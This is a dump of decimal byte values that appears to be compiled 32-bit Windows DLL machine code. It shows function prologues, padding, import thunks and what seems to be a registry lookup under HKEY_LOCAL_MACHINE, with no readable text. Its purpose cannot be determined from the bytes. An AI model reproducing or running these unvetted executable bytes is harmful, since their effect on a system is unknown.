0,0,139,69,248,133,192,15,132,171,0,0,0,61,255,255,255,31,15,131,160,0,0,0,141,12,197,0,0,0,0,81,106,0,255,21,192,51,2,16,80,255,21,188,51,2,16,139,240,133,246,15,132,127,0,0,0,139,77,252,139,17,139,82,12,86,141,69,248,80,106,0,106,0,106,0,141,69,220,80,255,210,132,192,116,82,43,125,236,59,62,114,75,139,77,248,184,1,0,0,0,59,200,118,10,59,60,198,114,5,64,59,193,114,246,139,68,198,252,139,77,20,106,0,37,255,255,255,0,137,1,139,77,244,139,17,139,82,112,106,0,106,0,141,69,16,80,139,69,12,80,139,69,220,80,255,210,132,192,116,7,199,69,228,1,0,0,0,86,106,0,255,21,192,51,2,16,80,255,21,184,51,2,16,139,77,252,139,1,139,16,255,210,139,77,244,139,1,139,80,64,255,210,139,77,232,139,1,139,80,56,255,210,139,77,240,139,1,139,80,40,255,210,139,69,228,95,91,94,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,129,236,20,4,0,0,161,12,34,2,16,51,197,137,69,252,128,61,93,39,2,16,0,116,16,51,192,139,77,252,51,205,232,84,112,255,255,139,229,93,195,198,5,93,39,2,16,1,232,246,0,0,0,133,192,15,133,160,0,0,0,86,87,104,252,4,2,16,255,21,204,51,2,16,139,61,144,51,2,16,139,53,196,51,2,16,133,192,116,63,104,4,1,0,0,141,141,244,253,255,255,81,80,255,214,133,192,116,44,104,4,1,0,0,141,149,236,251,255,255,82,141,133,244,253,255,255,80,232,214,2,0,0,131,196,12,133,192,116,13,141,141,236,251,255,255,81,255,215,133,192,117,66,104,4,1,0,0,141,149,244,253,255,255,82,106,0,255,214,133,192,116,44,104,4,1,0,0,141,133,236,251,255,255,80,141,141,244,253,255,255,81,232,150,2,0,0,131,196,12,133,192,116,13,141,149,236,251,255,255,82,255,215,133,192,117,2,51,192,95,94,139,77,252,51,205,232,146,111,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,129,236,28,2,0,0,161,12,34,2,16,51,197,137,69,252,86,104,20,6,2,16,255,21,144,51,2,16,139,240,133,246,117,15,94,139,77,252,51,205,232,28,111,255,255,139,229,93,195,87,139,61,140,51,2,16,104,4,6,2,16,86,255,215,137,133,232,253,255,255,133,192,117,16,95,94,139,77,252,51,205,232,243,110,255,255,139,229,93,195,83,104,240,5,2,16,86,255,215,139,216,133,219,116,52,104,224,5,2,16,86,255,215,139,248,133,255,116,38,141,133,236,253,255,255,80,106,1,106,0,104,112,5,2,16,104,2,0,0,128,255,149,232,253,255,255,133,192,116,26,86,255,21,208,51,2,16,91,95,51,192,94,139,77,252,51,205,232,157,110,255,255,139,229,93,195,141,141,240,253,255,255,81,139,141,236,253,255,255,141,149,244,253,255,255,82,141,133,228,253,255,255,80,106,0,104,60,5,2,16,81,199,133,240,253,255,255,8,2,0,0,255,211,139,149,236,253,255,255,82,139,216,255,215,86,255,21,208,51,2,16,133,219,117,168,131,189,228,253,255,255,1,117,159,139,133,240,253,255,255,168,1,117,149,209,232,131,248,2,114,142,72,102,57,156,69,244,253,255,255,117,131,102,131,188,69,242,253,255,255,92,116,14,185,92,0,0,0,102,137,140,69,244,253,255,255,64,131,202,255,43,208,131,250,14,15,130,92,255,255,255,141,72,13,129,249,4,1,0,0,15,135,77,255,255,255,139,21,224,4,2,16,139,13,228,4,2,16,141,132,69,244,253,255,255,137,16,139,21,232,4,2,16,137,72,4,139,13,236,4,2,16,137,80,8,139,21,240,4,2,16,137,72,12,139,13,244,4,2,16,137,80,16,102,139,21,248,4,2,16,137,72,20,102,137,80,24,141,133,244,253,255,255,80,255,21,144,51,2,16,139,77,252,91,95,51,205,94,232,152,109,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,129,236,12,6,0,0,161,12,34,2,16,51,197,137,69,252,139,69,8,86,139,117,12,104,0,1,0,0,141,141,244,253,255,255,81,104,0,1,0,0,141,149,244,251,255,255,82,104,0,1,0,0,141,141,244,249,255,255,81,106,3,141,85,244,82,80,232,74,109,255,255,131,196,36,133,192,116,17,51,192,94,139,77,252,51,205,232,190,108,255,255,139,229,93,195,104,64,6,2,16,141,133,244,251,255,255,106,9,80,232,247,113,255,255,131,196,12,133,192,117,213,104,52,6,2,16,141,141,244,253,255,255,106,4,81,232,221,113,255,255,131,196,12,133,192,117,187,141,149,244,253,255,255,82,141,133,244,251,255,255,80,139,69,16,141,141,244,249,255,255,81,141,85,244,82,80,86,232,155,112,255,255,139,77,252,131,196,24,247,216,27,192,51,205,64,94,232,80,108,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,255,37,152,53,2,16,255,37,156,53,2,16,255,37,160,53,2,16,255,37,164,53,2,16,255,37,168,53,2,16,255,37,172,53,2,16,255,37,176,53,2,16,255,37,180,53,2,16,255,37,212,51,2,16,255,37,104,51,2,16,255,37,108,51,2,16,255,37,112,51,2,16,255,37,116,51,2,16,255,37,120,51,2,16,255,37,124,51,2,16,255,37,128,51,2,16,255,37,132,51,2,16,255,37,136,51,2,16,255,37,140,51,2,16,255,37,144,51,2,16,255,37,148,51,2,16,255,37,152,51,2,16,255,37,156,51,2,16,255,37,160,51,2,16,255,37,164,51,2,16,255,37,168,51,2,16,255,37,172,51,2,16,255,37,176,51,2,16,255,37,180,51,2,16,255,37,184,51,2,16,255,37,188,51,2,16,255,37,192,51,2,16,255,37,196,51,2,16,255,37,200,51,2,16,255,37,204,51,2,16,255,37,208,51,2,16,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,133,32,255,255,255,131,224,1,15,132,28,0,0,0,131,165,32,255,255,255,254,139,77,236,131,193,96,139,244,255,21,188,52,2,16,59,244,233,207,96,255,255,195,139,77,236,131,193,8,139,244,255,21,248,52,2,16,59,244,233,185,96,255,255,139,84,36,8,141,66,12,139,138,24,255,255,255,51,200,232,249,92,255,255,184,88,20,2,16,233,69,97,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,77,236,131,233,88,139,244,255,21,248,52,2,16,59,244,233,101,96,255,255,139,84,36,8,141,66,12,139,138,36,255,255,255,51,200,232,165,92,255,255,184,140,20,2,16,233,241,96,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,139,244,139,77,236,255,21,228,52,2,16,59,244,233,40,96,255,255,139,84,36,8,141,66,12,139,138,36,255,255,255,51,200,232,104,92,255,255,184,188,20,2,16,233,180,96,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,141,77,144,233,197,95,255,255,141,141,32,254,255,255,233,173,93,255,255,141,141,52,254,255,255,233,162,93,255,255,141,141,72,254,255,255,233,151,93,255,255,139,133,184,254,255,255,131,224,1,15,132,18,0,0,0,131,165,184,254,255,255,254,141,141,104,254,255,255,233,118,93,255,255,195,139,84,36,8,141,66,12,139,138,236,253,255,255,51,200,232,239,91,255,255,139,74,252,51,200,232,229,91,255,255,184,228,20,2,16,233,49,96,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,141,77,180,233,53,95,255,255,141,141,48,254,255,255,233,29,93,255,255,141,141,68,254,255,255,233,18,93,255,255,141,141,88,254,255,255,233,7,93,255,255,141,141,120,254,255,255,233,252,92,255,255,141,141,140,254,255,255,233,241,92,255,255,139,84,36,8,141,66,12,139,138,252,253,255,255,51,200,232,107,91,255,255,139,74,252,51,200,232,97,91,255,255,184,56,21,2,16,233,173,95,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,244,139,77,236,255,21,228,52,2,16,59,244,233,216,94,255,255,139,84,36,8,141,66,12,139,138,36,255,255,255,51,200,232,24,91,255,255,184,156,21,2,16,233,100,95,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,141,141,20,255,255,255,233,238,90,255,255,139,84,36,8,141,66,12,139,138,4,255,255,255,51,200,232,223,90,255,255,184,204,21,2,16,233,43,95,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,141,77,168,233,53,94,255,255,141,141,68,254,255,255,233,29,92,255,255,141,141,88,254,255,255,233,18,92,255,255,141,141,108,254,255,255,233,7,92,255,255,139,133,208,254,255,255,131,224,1,15,132,18,0,0,0,131,165,208,254,255,255,254,141,141,140,254,255,255,233,230,91,255,255,195,139,84,36,8,141,66,12,139,138,4,254,255,255,51,200,232,95,90,255,255,139,74,252,51,200,232,85,90,255,255,184,244,21,2,16,233,161,94,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,77,236,233,204,94,255,255,139,84,36,8,141,66,12,139,138,36,255,255,255,51,200,232,18,90,255,255,184,80,22,2,16,233,94,94,255,255,204,204,204,204,204,204,204,204,204,204,141,77,184,233,98,92,255,255,139,84,36,8,141,66,12,139,138,156,254,255,255,51,200,232,226,89,255,255,184,180,22,2,16,233,46,94,255,255,204,204,204,204,204,204,204,204,204,204,139,244,141,77,236,255,21,56,52,2,16,59,244,233,104,93,255,255,139,84,36,8,141,66,12,139,138,212,254,255,255,51,200,232,168,89,255,255,184,0,23,2,16,233,244,93,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,244,141,77,224,255,21,56,52,2,16,59,244,233,40,93,255,255,139,84,36,8,141,66,12,139,138,24,255,255,255,51,200,232,104,89,255,255,184,128,23,2,16,233,180,93,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,244,141,77,212,255,21,56,52,2,16,59,244,233,232,92,255,255,139,84,36,8,141,66,12,139,138,12,255,255,255,51,200,232,40,89,255,255,184,176,23,2,16,233,116,93,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,77,236,233,229,91,255,255,139,84,36,8,141,66,12,139,138,36,255,255,255,51,200,232,242,88,255,255,184,224,23,2,16,233,62,93,255,255,204,204,204,204,204,204,204,204,204,204,139,77,236,233,181,91,255,255,139,84,36,8,141,66,12,139,138,24,255,255,255,51,200,232,194,88,255,255,184,16,24,2,16,233,14,93,255,255,204,204,204,204,204,204,204,204,204,204,139,77,236,233,133,91,255,255,139,84,36,8,141,66,12,139,138,24,255,255,255,51,200,232,146,88,255,255,184,64,24,2,16,233,222,92,255,255,204,204,204,204,204,204,204,204,204,204,139,244,139,77,236,255,21,88,52,2,16,59,244,233,24,92,255,255,139,84,36,8,141,66,12,139,138,8,255,255,255,51,200,232,88,88,255,255,184,112,24,2,16,233,164,92,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,244,139,77,236,255,21,88,52,2,16,59,244,233,216,91,255,255,139,84,36,8,141,66,12,139,138,24,255,255,255,51,200,232,24,88,255,255,184,160,24,2,16,233,100,92,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,77,236,233,2,91,255,255,139,84,36,8,141,66,12,139,138,36,255,255,255,51,200,232,226,87,255,255,184,208,24,2,16,233,46,92,255,255,204,204,204,204,204,204,204,204,204,204,139,77,236,233,210,90,255,255,139,84,36,8,141,66,12,139,138,36,255,255,255,51,200,232,178,87,255,255,184,0,25,2,16,233,254,91,255,255,204,204,204,204,204,204,204,204,204,204,139,84,36,8,141,66,12,139,138,4,255,255,255,51,200,232,138,87,255,255,184,104,25,2,16,233,214,91,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,69,8,80,139,141,32,255,255,255,81,232,46,90,255,255,131,196,8,195,139,84,36,8,141,66,12,139,138,8,255,255,255,51,200,232,70,87,255,255,184,16,26,2,16,233,146,91,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,141,141,72,255,255,255,233,250,87,255,255,139,84,36,8,141,66,12,139,138,112,254,255,255,51,200,232,15,87,255,255,184,64,26,2,16,233,91,91,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,106,57,104,100,252,1,16,139,69,232,80,139,77,236,81,255,21,128,52,2,16,131,196,16,195,139,84,36,8,141,66,12,139,74,236,51,200,232,196,86,255,255,184,112,26,2,16,233,16,91,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,141,77,240,255,37,56,52,2,16,139,84,36,8,141,66,12,139,74,244,51,200,232,132,86,255,255,184,160,26,2,16,233,208,90,255,255,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,